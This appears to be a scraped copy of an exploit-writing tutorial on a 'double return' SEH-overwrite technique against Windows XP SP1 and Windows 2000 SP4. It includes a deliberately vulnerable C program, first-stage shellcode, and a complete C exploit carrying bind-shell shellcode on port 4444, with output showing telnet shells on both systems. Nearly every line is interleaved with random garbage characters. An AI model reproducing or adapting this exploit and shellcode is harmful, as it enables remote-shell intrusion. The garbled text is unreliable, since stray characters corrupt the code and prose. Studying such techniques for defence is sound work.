The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. % V* S5 m; ?( w1 h2 n4 N) C* e5 r, S4 I" ^9 G
[Buf] <- Shellcode 7 y8 n- U& {8 g4 O1 Q( S[Return Address] <- jmp register (for Windows XP sp1) 6 K* n8 U3 X; G; n+ m[Various Stack Data] <- Junk, ]# Z0 X3 t1 F# n& x* B1 V
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward! e8 j4 s1 h( k) |( a1 r2 u9 F
[SE Handler] <- jmp register (for Win2k sp4) : b9 Y7 ^' p& y3 Y1 ?[Stage1 Shellcode] <- stage1 shellcode for win2k - _0 K* n9 O6 i& e; V8 _ 2 ~# L. I) ^- i$ QIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses 4 r0 @+ q: K! m0 Y ; {' J8 E0 \% P* |4 xNecessary Tools:: H" c h+ [# v/ p( v3 o
- OllyDBG4 o( O& ^8 m, n0 C
- C/C++ Compiler & n, K7 y" F( Z6 ] j" |1 m9 n- nasm% s! E7 S9 Y, o2 K
- Sac- V% z3 ^" Z0 X2 M
- z7 P1 J5 O% E8 {2 A! E: ?& W
Vulnerable Code: " u6 I+ h8 R* k2 S. b" c- \//lamebuf.c6 o6 z1 d- ?( I# A7 s( }7 v! p
#include<stdio.h> % N; M2 }& }6 o* A# K* N#include<string.h>( Y7 D# I' F* c6 D' o6 y+ P: u7 B
#include<windows.h> 2 i+ ^$ _+ r0 H, g: |int main(int argc,char *argv[]){3 ? u9 T+ Z: y& S
/ V# K; w+ q# X4 P' x4 l1 y
char buf[512]; * }, |) t0 b& @) bchar buf1[1024]; // <- simulate a stack9 W6 \ | X6 }% I& @
//DebugBreak(); 6 d, d# K) S0 z }: J, aif (argc != 2){ return -1; }! R: ~; J9 N8 C
% d/ G& x: N% ~- p* R: t) Bstrcpy(buf,argv[1]); ; M u8 ?" Z! f. j0 _5 {+ q4 Y( dreturn 0x0;; u j$ ~; l4 W0 { P5 L" k
} @' I& ^2 i; u, }0 n( E% w. v( E% j3 p- Y5 n
Getting Started: ; w! O/ v) \' s+ _4 TBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: : [: g8 h4 B) s + W( R9 l* o% k$ UEAX 00000000( g+ l8 r9 L2 a" @
ECX 00321404 + V: o$ R1 j; _/ H$ G6 fEDX 00414141' U- x7 l8 u1 o1 [% k
EBX 7FFDF000 " r$ l# d3 V5 k" J# M4 AESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" , f. E( I* h) M7 BEBP 41414141 $ S5 C4 C5 M. n9 R' hESI 77D4595F 3 Q! h6 ]' v/ N" Z. }EDI 77F59037 ntdll.77F59037" `/ N, _+ `$ ~, J7 N
EIP 41414141: o* \$ W- G: I& |
; Z: ^7 W/ w- c$ S4 n* OLets take a look at the stack and see what happened to the default exception handler: 8 }1 y7 h( V- J% d, w8 g8 w4 A0x0012FFB0 41414141 Pointer to next SEH Record6 h, C. C8 Q+ S7 X [
0x0012FFB4 41414141 SE Handler 6 C& _6 U4 k; o7 s% {! T7 ]7 _2 n/ o2 u8 {3 R$ p6 N
We successfully overwrote the return address and the default exception handler. $ L" B: ~ A8 h: g: H, e+ {1 Z0 S . b' v( M: T- v0 U1 e6 QPrimary Return Address (Windows XP SP1 EN): 0 a( f5 Q- r! t4 c8 wThe first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:- ^3 \* g/ g+ } p- n
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"3 b! I- f/ _# n9 p: Z# o8 q
$ \1 I9 T7 L9 n% ~$ s
Secondary Return Address (Windows 2000 SP4 EN): 4 N" r8 H6 I0 K! ~! C( j! r5 ] {The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be: + B: K( `+ A7 S! c0 J"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"& Z5 M3 N, P, S' }) j
0 W$ u J! P) i9 F- B
Proof Of Concept: . [5 u: B& z$ M: i& q+ P// exploit.c ' \! I8 i" E1 \! p3 j, V4 `% v// Tal zeltzer - [Double Return] /// g5 w& a8 ?3 |; v
) G$ d9 f! @ t6 |" m
#include<stdio.h> 7 p. n; ~& g1 D& @' Y3 N#include<string.h>( B) g, @6 M/ P u! V
#include<windows.h> " ]9 f1 z4 ]$ G; h . u! d4 t+ C! l! D7 R#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp ) `, I8 R l0 P8 O' O9 N#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx 2 _( z E- Z: f, G7 N; t! P6 }' I" |" {# { S$ e( X6 Z2 z
// Stage1 For WinXP Sp1 English / F8 E. p: A+ @) S, k" E+ z/ q$ ^unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";* |7 M- V/ h+ M7 T$ i
4 c0 `7 ~+ F" W2 D) K// Stage1 For Win2k Sp4 English 8 i. d* ^3 |- b8 l. |unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"; 5 I6 j# D. V& U% ]8 Q, J0 P , Q' s/ U9 O6 W' X/ z5 \// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com 9 t# i% L8 U+ t9 x! N3 @$ ^9 Lunsigned char shellcode[] = 1 v1 C% R# |+ N ^/ M1 s! L5 E& N- S"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" 1 @5 G1 Y( p6 @"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" . T& b) W( u5 F9 d0 i; p"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 6 v/ }. u& ?: Z: @) ^8 i' w"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0": S/ t: K$ V2 u. l
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" 9 S: s! r& G1 e"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"1 A8 ?$ w& Y2 P1 P" d
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" 0 G Q7 X% I% ^1 S. M) w. k* E"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" 3 Q8 D) t: W: H4 ~( Z' Z) @"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce": \8 X0 o; o) o& d' I
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf": a% s, C. U5 e* D7 \, m C) Y
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" ) k$ n( C) _& H5 N6 n' k3 J" \"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" : }1 X) h/ K' W0 C+ ~0 \"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"" v2 x5 Z0 }" o4 s
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"! p0 x; C1 b$ }6 K" \9 w
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"" l' |' J* y( }# l- r
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" / e* x: Q. d+ z- h7 }7 ^"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"* {3 K; @( m7 d- \3 f* t9 Y
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" 2 j. J5 j/ ~3 \1 q' a"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" . M# q& P3 a" c- W' }' p"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" 2 o# y1 a2 |4 g8 f"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" 6 k8 i( c# R6 z1 n9 n0 Q+ R"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" 4 V2 {+ k! F) B! I4 f4 \"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"" t- D. v% ?0 O0 X( ?( r
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"' O. z) U1 y) j! v
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; % _2 M) ^4 ]& u0 J3 K; s8 y * i8 O& d. U8 G5 Z& f / t) r% a* L0 j0 ?/ Y: n5 wint main(int argc,char *argv[]){ 9 G( Q* W+ Q# i7 u4 }9 e - z7 f; }$ O7 O# o& z$ y+ N2 Xchar *bufExe[3]; 7 G& {4 _& ?& B3 Q; l9 ^0 `& Bchar buf[2048];) a1 o8 I$ R: p6 U) m* a# f& P0 q
bufExe[0] = "lamebuf.exe"; ( i6 `5 h0 N4 DbufExe[2] = NULL; 3 x) ]; K/ ?( D, a% S' \ 9 m+ V6 ?- U- q8 X$ k% X7 Qmemset(buf,0x0,sizeof(buf));7 Y* o5 X: h. |) c% u o
memset(buf,0x90,1652);: z2 `% j6 t7 B# S
memcpy(&buf[24],shellcode,sizeof(shellcode)-1); $ K/ {2 m: K: _7 x B# o' J+ Z7 @$ S! Smemcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode% m0 W; P& k' _# R: U. g [
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode1 ?: o$ b$ o" S7 g9 f
/ [$ a. _; {: z" I
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en1 E( @& S2 N3 {( t0 g" ~& M- }
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code! W4 O; x; s" ?/ u& ~1 ^
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en8 N/ G9 w# [8 Q" G* ^
& V8 |& z5 P% V" l! U4 a( a
0 @' S& t7 T0 e
bufExe[1] = buf;/ q0 }- Z1 Y7 ?% ?# T" ?
//Execute the vulnerable application1 e! a1 }+ F" U) u, g8 T
execve(bufExe[0],bufExe,NULL); 0 X G! @7 F) v . u5 M4 x% E/ O0 \7 Freturn 0x0; \0 Y9 y! e+ l4 Y2 E3 A}: P% R- d7 Z- r) y: E1 L
/ C( a* V. R. H+ c; E$ X9 MExploit under Windows XP SP1:/ Y# q9 b" e! W- Y4 Q; g
C:\>exploit; d2 J; f: w v3 |* T
C:\> 5 J1 ?4 p. k0 y# P& H! B% ]C:\>telnet 127.0.0.1 4444& D$ a/ N2 v8 b8 A# u. `" H
L& Q/ ? p. N9 I; l b" ZMicrosoft Windows XP [Version 5.1.2600]7 w4 K+ U4 G7 z2 j6 \
(C) Copyright 1985-2001 Microsoft Corp.# k) d+ Y' l- v! ^" q
. k) q d/ H' S
C:\> . H; ~9 h; z1 X# U5 U! W! H1 _* C& k6 I
Exploit under Windows 2000 SP4:! e1 H8 A& V5 T2 m T! N
C:\>exploit 5 ~, M+ {. B0 Z6 WC:\> - H, D/ @* k$ V) q" FC:\>telnet 127.0.0.1 44446 O1 [6 G5 M: g2 {- P
1 K( F n0 d2 k( s/ v
Microsoft Windows 2000 [Version 5.00.2195]4 H3 R q# x( d# `9 B
(C) Copyright 1985-2000 Microsoft Corp.